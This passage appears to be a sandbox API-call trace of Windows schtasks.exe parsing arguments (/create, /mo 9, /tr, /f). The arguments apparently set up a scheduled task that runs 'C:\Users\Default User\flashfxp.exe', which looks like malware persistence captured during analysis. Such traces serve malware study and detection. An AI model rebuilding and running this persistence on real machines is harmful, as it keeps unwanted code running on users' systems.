_memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.308] lstrlenW (lpString="mo") returned 2 [0163.308] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.308] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|rp|") returned 4 [0163.308] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.308] lstrlenW (lpString="|rp|") returned 4 [0163.308] lstrlenW (lpString="|mo|") returned 4 [0163.308] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0163.308] SetLastError (dwErrCode=0x490) [0163.308] lstrlenW (lpString="sc") returned 2 [0163.308] lstrlenW (lpString="sc") returned 2 [0163.308] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.308] lstrlenW (lpString="mo") returned 2 [0163.308] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.308] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.308] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.309] lstrlenW (lpString="|sc|") returned 4 [0163.309] lstrlenW (lpString="|mo|") returned 4 [0163.309] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0163.309] SetLastError (dwErrCode=0x490) [0163.309] lstrlenW (lpString="mo") returned 2 [0163.309] lstrlenW (lpString="mo") returned 2 [0163.309] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.309] lstrlenW (lpString="mo") returned 2 [0163.309] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.309] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.309] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.309] lstrlenW (lpString="|mo|") returned 4 [0163.309] lstrlenW (lpString="|mo|") returned 4 [0163.309] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0163.309] SetLastError (dwErrCode=0x0) [0163.309] SetLastError (dwErrCode=0x0) [0163.309] lstrlenW (lpString="9") returned 1 [0163.309] SetLastError (dwErrCode=0x490) [0163.309] SetLastError (dwErrCode=0x0) [0163.309] lstrlenW (lpString="9") returned 1 [0163.309] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0163.309] SetLastError (dwErrCode=0x490) [0163.309] SetLastError (dwErrCode=0x0) [0163.309] _memicmp (_Buf1=0x21d530, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.309] lstrlenW (lpString="9") returned 1 [0163.309] lstrlenW (lpString="9") returned 1 [0163.309] lstrlenW (lpString=" \x09") returned 2 [0163.309] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0163.309] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0163.309] GetLastError () returned 0x0 [0163.309] lstrlenW (lpString="9") returned 1 [0163.309] lstrlenW (lpString="9") returned 1 [0163.309] GetProcessHeap () returned 0x200000 [0163.309] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x4) returned 0x21b960 [0163.309] SetLastError (dwErrCode=0x0) [0163.309] SetLastError (dwErrCode=0x0) [0163.310] lstrlenW (lpString="/tr") returned 3 [0163.310] lstrlenW (lpString="-/") returned 2 [0163.310] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.310] lstrlenW (lpString="create") returned 6 [0163.310] lstrlenW (lpString="create") returned 6 [0163.310] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.310] lstrlenW (lpString="tr") returned 2 [0163.310] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.310] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|create|") returned 8 [0163.310] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.310] lstrlenW (lpString="|create|") returned 8 [0163.310] lstrlenW (lpString="|tr|") returned 4 [0163.310] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0163.310] SetLastError (dwErrCode=0x490) [0163.310] lstrlenW (lpString="?") returned 1 [0163.310] lstrlenW (lpString="?") returned 1 [0163.310] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.310] lstrlenW (lpString="tr") returned 2 [0163.310] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.310] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|?|") returned 3 [0163.310] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.310] lstrlenW (lpString="|?|") returned 3 [0163.310] lstrlenW (lpString="|tr|") returned 4 [0163.310] SetLastError (dwErrCode=0x490) [0163.310] lstrlenW (lpString="s") returned 1 [0163.310] lstrlenW (lpString="s") returned 1 [0163.310] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.310] lstrlenW (lpString="tr") returned 2 [0163.310] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.310] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|s|") returned 3 [0163.310] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.310] lstrlenW (lpString="|s|") returned 3 [0163.310] lstrlenW (lpString="|tr|") returned 4 [0163.311] SetLastError (dwErrCode=0x490) [0163.311] lstrlenW (lpString="u") returned 1 [0163.311] lstrlenW (lpString="u") returned 1 [0163.311] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.311] lstrlenW (lpString="tr") returned 2 [0163.311] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.311] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|u|") returned 3 [0163.311] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.311] lstrlenW (lpString="|u|") returned 3 [0163.311] lstrlenW (lpString="|tr|") returned 4 [0163.311] SetLastError (dwErrCode=0x490) [0163.311] lstrlenW (lpString="p") returned 1 [0163.311] lstrlenW (lpString="p") returned 1 [0163.311] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.311] lstrlenW (lpString="tr") returned 2 [0163.311] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.311] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|p|") returned 3 [0163.311] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.311] lstrlenW (lpString="|p|") returned 3 [0163.311] lstrlenW (lpString="|tr|") returned 4 [0163.311] SetLastError (dwErrCode=0x490) [0163.311] lstrlenW (lpString="ru") returned 2 [0163.311] lstrlenW (lpString="ru") returned 2 [0163.311] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.311] lstrlenW (lpString="tr") returned 2 [0163.311] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.311] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|ru|") returned 4 [0163.311] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.311] lstrlenW (lpString="|ru|") returned 4 [0163.311] lstrlenW (lpString="|tr|") returned 4 [0163.311] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0163.312] SetLastError (dwErrCode=0x490) [0163.312] lstrlenW (lpString="rp") returned 2 [0163.312] lstrlenW (lpString="rp") returned 2 [0163.312] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.312] lstrlenW (lpString="tr") returned 2 [0163.312] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.312] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|rp|") returned 4 [0163.312] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.312] lstrlenW (lpString="|rp|") returned 4 [0163.312] lstrlenW (lpString="|tr|") returned 4 [0163.312] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0163.312] SetLastError (dwErrCode=0x490) [0163.312] lstrlenW (lpString="sc") returned 2 [0163.312] lstrlenW (lpString="sc") returned 2 [0163.312] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.312] lstrlenW (lpString="tr") returned 2 [0163.312] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.312] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.312] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.312] lstrlenW (lpString="|sc|") returned 4 [0163.312] lstrlenW (lpString="|tr|") returned 4 [0163.312] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0163.312] SetLastError (dwErrCode=0x490) [0163.312] lstrlenW (lpString="mo") returned 2 [0163.312] lstrlenW (lpString="mo") returned 2 [0163.312] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.312] lstrlenW (lpString="tr") returned 2 [0163.312] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.312] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.312] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.312] lstrlenW (lpString="|mo|") returned 4 [0163.313] lstrlenW (lpString="|tr|") returned 4 [0163.313] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0163.313] SetLastError (dwErrCode=0x490) [0163.313] lstrlenW (lpString="d") returned 1 [0163.313] lstrlenW (lpString="d") returned 1 [0163.313] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.313] lstrlenW (lpString="tr") returned 2 [0163.313] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.313] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|d|") returned 3 [0163.313] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.313] lstrlenW (lpString="|d|") returned 3 [0163.313] lstrlenW (lpString="|tr|") returned 4 [0163.313] SetLastError (dwErrCode=0x490) [0163.313] lstrlenW (lpString="m") returned 1 [0163.313] lstrlenW (lpString="m") returned 1 [0163.313] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.313] lstrlenW (lpString="tr") returned 2 [0163.313] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.313] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|m|") returned 3 [0163.313] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.313] lstrlenW (lpString="|m|") returned 3 [0163.313] lstrlenW (lpString="|tr|") returned 4 [0163.313] SetLastError (dwErrCode=0x490) [0163.313] lstrlenW (lpString="i") returned 1 [0163.313] lstrlenW (lpString="i") returned 1 [0163.313] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.313] lstrlenW (lpString="tr") returned 2 [0163.313] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.313] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|i|") returned 3 [0163.313] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.313] lstrlenW (lpString="|i|") returned 3 [0163.314] lstrlenW (lpString="|tr|") returned 4 [0163.314] SetLastError (dwErrCode=0x490) [0163.314] lstrlenW (lpString="tn") returned 2 [0163.314] lstrlenW (lpString="tn") returned 2 [0163.314] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.314] lstrlenW (lpString="tr") returned 2 [0163.314] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.314] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tn|") returned 4 [0163.314] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.314] lstrlenW (lpString="|tn|") returned 4 [0163.314] lstrlenW (lpString="|tr|") returned 4 [0163.314] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0163.314] SetLastError (dwErrCode=0x490) [0163.314] lstrlenW (lpString="tr") returned 2 [0163.314] lstrlenW (lpString="tr") returned 2 [0163.314] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.314] lstrlenW (lpString="tr") returned 2 [0163.314] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.314] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.314] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|tr|") returned 4 [0163.314] lstrlenW (lpString="|tr|") returned 4 [0163.314] lstrlenW (lpString="|tr|") returned 4 [0163.314] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0163.314] SetLastError (dwErrCode=0x0) [0163.314] SetLastError (dwErrCode=0x0) [0163.314] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.314] lstrlenW (lpString="-/") returned 2 [0163.314] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.314] SetLastError (dwErrCode=0x490) [0163.314] SetLastError (dwErrCode=0x490) [0163.314] SetLastError (dwErrCode=0x0) [0163.314] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.314] StrChrIW (lpStart="'C:\\Users\\Default User\\flashfxp.exe'", wMatch=0x3a) returned=":\\Users\\Default User\\flashfxp.exe'" [0163.315] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.315] _memicmp (_Buf1=0x21d4d0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.315] _memicmp (_Buf1=0x21d510, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.315] SetLastError (dwErrCode=0x7a) [0163.315] SetLastError (dwErrCode=0x0) [0163.315] SetLastError (dwErrCode=0x0) [0163.315] lstrlenW (lpString="'C") returned 2 [0163.315] lstrlenW (lpString="-/") returned 2 [0163.315] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.315] SetLastError (dwErrCode=0x490) [0163.315] SetLastError (dwErrCode=0x490) [0163.315] SetLastError (dwErrCode=0x0) [0163.315] _memicmp (_Buf1=0x21d530, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.315] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.315] GetProcessHeap () returned 0x200000 [0163.315] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d550) returned 1 [0163.315] GetProcessHeap () returned 0x200000 [0163.315] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21d550, Size=0x4a) returned 0x21dc60 [0163.315] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.315] lstrlenW (lpString=" \x09") returned 2 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0163.315] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0163.316] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.316] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0163.316] GetLastError () returned 0x0 [0163.316] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.316] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.316] SetLastError (dwErrCode=0x0) [0163.316] SetLastError (dwErrCode=0x0) [0163.316] lstrlenW (lpString="/f") returned 2 [0163.316] lstrlenW (lpString="-/") returned 2 [0163.316] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.316] lstrlenW (lpString="create") returned 6 [0163.316] lstrlenW (lpString="create") returned 6 [0163.316] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.316] lstrlenW (lpString="f") returned 1 [0163.316] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.317] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|create|") returned 8 [0163.317] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.317] lstrlenW (lpString="|create|") returned 8 [0163.317] lstrlenW (lpString="|f|") returned 3 [0163.317] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0163.317] SetLastError (dwErrCode=0x490) [0163.317] lstrlenW (lpString="?") returned 1 [0163.317] lstrlenW (lpString="?") returned 1 [0163.317] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.317] lstrlenW (lpString="f") returned 1 [0163.317] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.317] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|?|") returned 3 [0163.317] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.317] lstrlenW (lpString="|?|") returned 3 [0163.317] lstrlenW (lpString="|f|") returned 3 [0163.317] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0163.317] SetLastError (dwErrCode=0x490) [0163.317] lstrlenW (lpString="s") returned 1 [0163.317] lstrlenW (lpString="s") returned 1 [0163.317] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.317] lstrlenW (lpString="f") returned 1 [0163.317] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.317] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|s|") returned 3 [0163.317] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.317] lstrlenW (lpString="|s|") returned 3 [0163.317] lstrlenW (lpString="|f|") returned 3 [0163.317] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0163.317] SetLastError (dwErrCode=0x490) [0163.317] lstrlenW (lpString="u") returned 1 [0163.317] lstrlenW (lpString="u") returned 1 [0163.317] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.317] lstrlenW (lpString="f") returned 1 [0163.317] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.317] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|u|") returned 3 [0163.317] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.318] lstrlenW (lpString="|u|") returned 3 [0163.318] lstrlenW (lpString="|f|") returned 3 [0163.318] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0163.318] SetLastError (dwErrCode=0x490) [0163.318] lstrlenW (lpString="p") returned 1 [0163.318] lstrlenW (lpString="p") returned 1 [0163.318] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.318] lstrlenW (lpString="f") returned 1 [0163.318] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.318] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|p|") returned 3 [0163.318] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.318] lstrlenW (lpString="|p|") returned 3 [0163.318] lstrlenW (lpString="|f|") returned 3 [0163.318] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0163.318] SetLastError (dwErrCode=0x490) [0163.318] lstrlenW (lpString="ru") returned 2 [0163.318] lstrlenW (lpString="ru") returned 2 [0163.318] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.318] lstrlenW (lpString="f") returned 1 [0163.318] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.318] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|ru|") returned 4 [0163.318] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.318] lstrlenW (lpString="|ru|") returned 4 [0163.318] lstrlenW (lpString="|f|") returned 3 [0163.318] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0163.318] SetLastError (dwErrCode=0x490) [0163.318] lstrlenW (lpString="rp") returned 2 [0163.318] lstrlenW (lpString="rp") returned 2 [0163.318] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.318] lstrlenW (lpString="f") returned 1 [0163.318] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.318] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|rp|") returned 4 [0163.319] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.319] lstrlenW (lpString="|rp|") returned 4 [0163.319] lstrlenW (lpString="|f|") returned 3 [0163.319] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0163.319] SetLastError (dwErrCode=0x490) [0163.319] lstrlenW (lpString="sc") returned 2 [0163.319] lstrlenW (lpString="sc") returned 2 [0163.319] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.319] lstrlenW (lpString="f") returned 1 [0163.319] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.319] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|sc|") returned 4 [0163.319] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.319] lstrlenW (lpString="|sc|") returned 4 [0163.319] lstrlenW (lpString="|f|") returned 3 [0163.319] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0163.319] SetLastError (dwErrCode=0x490) [0163.319] lstrlenW (lpString="mo") returned 2 [0163.319] lstrlenW (lpString="mo") returned 2 [0163.319] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.319] lstrlenW (lpString="f") returned 1 [0163.319] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.319] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|mo|") returned 4 [0163.319] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc268 | out: _Buffer="|f|") returned 3 [0163.319] lstrlenW (lpString="|mo|") returned 4 [0163.319] lstrlenW (lpString="|f|") returned 3 [0163.319] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0163.319] SetLastError (dwErrCode=0x490) [0163.319] lstrlenW (lpString="d") returned 1 [0163.319] lstrlenW (lpString="d") returned 1 [0163.319] _memicmp 